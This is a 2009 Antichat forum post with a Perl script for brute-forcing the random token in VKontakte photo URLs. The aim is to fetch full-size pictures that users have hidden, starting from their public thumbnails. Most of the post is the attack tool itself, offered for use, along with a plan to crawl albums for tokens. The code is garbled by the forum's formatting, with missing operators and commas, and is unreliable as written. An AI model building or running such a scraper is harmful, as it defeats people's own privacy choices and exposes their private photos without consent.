ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > SЕО/Финансовые задачи/Социальные сети > Социальные сети
   
 
 
Опции темы Поиск в этой теме Опции просмотра

vkontakte image bruteforce
  #1  
Старый 31.07.2009, 11:18
flatr0ze
Новичок
Регистрация: 30.07.2009
Сообщений: 9
Провел на форуме:
33822

Репутация: 16
Post vkontakte image bruteforce

Идея заключается в следующем: [в]контакте существуют альбомы с фотографиями, и ксожалению, зачастую полноразмерные картинки скрыты (чаще всего по инициативе пользователя).
Альбомы выглядят вот так: http://vkontakte.ru/album1_63553226
Тамбы имеют адрес вида: http://cs117.vkontakte.ru/u00001/63553226/m_18b46833.jpg
Тогда как полное изображение: http://cs117.vkontakte.ru/u00001/63553226/x_fbca3166.jpg

Следует заметить, что единственное, что отличает тамб от фулпика - это 8 абсолютно_рандомных символа и наличие x_ вместо m_ перед ними. Сервер и папка с изображением и тамбом всегда одна и таже. Символы - вероятно кусок хэша, или еще какая-нибудь мунга-бунга. При любом раскладе, они у этих файлов разные.

Брутфорс осуществляется подбором этих 8 символов двумя способами:
1. По "словарю", что оставлено на случай если можно будет найти закономерность по которым вычисляется комбинация символов.
2. Рандомно, "налету".

8 символов при средней скорости в 50 комбинаций в секунду (проверено из Москвы, стрим), будут брутить одну картинку почти 2 тысячи лет;
2 символа чуть меньше минуты;
3 за 15;
ну а на 4 уйдет 8-10 часов;

При наличии файла на сервере, скрипт сохранит файл в папку инициализации, под именем вида x_hash1234.jpg

Чтобы эта вещь могла принести пользу раньше, чем через тысячу-другую лет, необходимо поднять скорость в 100000 раз (50*100000=5,000,000). Через юрл сделать это не представляется возможным, так что, остается только один путь...

Один путь заключается в нахождении зависимости сгенерированного куска хэша от времени загрузки, размера файла, имени файла, или, на худой конец, от мд5 оригинала. Далее, будет создан другой script.pl, который будет генерировать хэшлист, основываясь на известных параметрах изображения.

Еще более сумасшедний способ генерирования таких хэшлистов, это создание script.pl с "пауком", который сканировал бы все альбомы вконтакте, и логил бы возможные варианты после x_...
на два полных гига целый день уходит...
Зато, данный способ может прокатить, если рандом не такой уж и хороший, и комбинации действительно дублируются.

x_vkontakte.pl

PHP код:
#!/usr/bin/perl
# version: 0.8.4
# author: flatr0ze
# e-mail: flat.rose@gmail.com

use LWP::Simple;

print 
"\n1. Paste the full path of the image thumbnail:\n] ";
chomp($m_path1234 = <STDIN>);

$folder =  substr $m_path12340, -14;
$m_filename =  substr $m_path1234, -14;
$m_hash1234 =  substr $m_filename2, -4;
print 
"Parsing thumbnail...\n\n";
print 
"Image folder: ".$folder."\n";
print 
"Thumbnail filename: ".$m_filename."\n";
print 
"Thumbnail hash: ".$m_hash1234."\n\n";

print 
"2. Enter path to the hashlist, or leave it empty to run hash generator: \n] ";
chomp($hashlist = <STDIN>);

if (
$hashlist) {

    print 
"Loading hashlist...\n\n";

    
open(HASHLIST$hashlist) || die "Error: Could not open hashlist file.\n";

#    $attempts = <number of lines>; // depleted

    
while ($string = <HASHLIST>) {
        
$hash1234 substr $string08;
        if (
length($hash1234) > 7) {
            
$url =  $folder."x_".$hash1234.".jpg";
            if (
head($url)) {
                print 
"File ".$url." exists!\n\n";
                print 
"Saving...\n\n";
                
getstore($url"x_".$hash1234.".jpg");
            } else {
                print 
"File ".$url." doesn't exist.\r\r";
            }
        }
    }

    
close(HASHLIST);

    print 
"\n\nFinished!\n\n";

} else {

    
$attempts 100000000;

    print 
"Starting hash generator with ".$attempts." attempts...\n\n";

    for (
$i 0$i <= $attempts$i++) {
        
$hash1234 generateHash();
        
$url =  $folder."x_".$hash1234.".jpg";
        if (
head($url)) {
            print 
"[".$i."/".$attempts."] ";
            print 
"File ".$url." exists!\n\n";
            print 
"Saving...\n\n";
            
getstore($url"x_".$hash1234.".jpg");
        } else {
            print 
"[".$i."/".$attempts."] ";
            print 
"File ".$url." doesn't exist.\r\r";
        }
    }

    print 
"\n\nFinished.\n\n";

}

sub generateHash {
    
my @chars = ('a'..'z','0'..'9');
    
my $hash;
    for (
0..7) {
        
$hash .= $chars[int rand @chars];
    }
    return 
$hash;

 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Разбираем матрицу: QR-код и чем его «едят» (C#). c0n Difesa С/С++, C#, Delphi, .NET, Asm 17 18.11.2009 19:53
Акаунты в Vkontakte, Акаунты для спама *Crysis* Покупка, продажа, услуги в Соц. Сетях 0 04.03.2009 13:30
bruteforce vkontakte SVAROG Социальные сети 17 05.02.2009 12:11



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ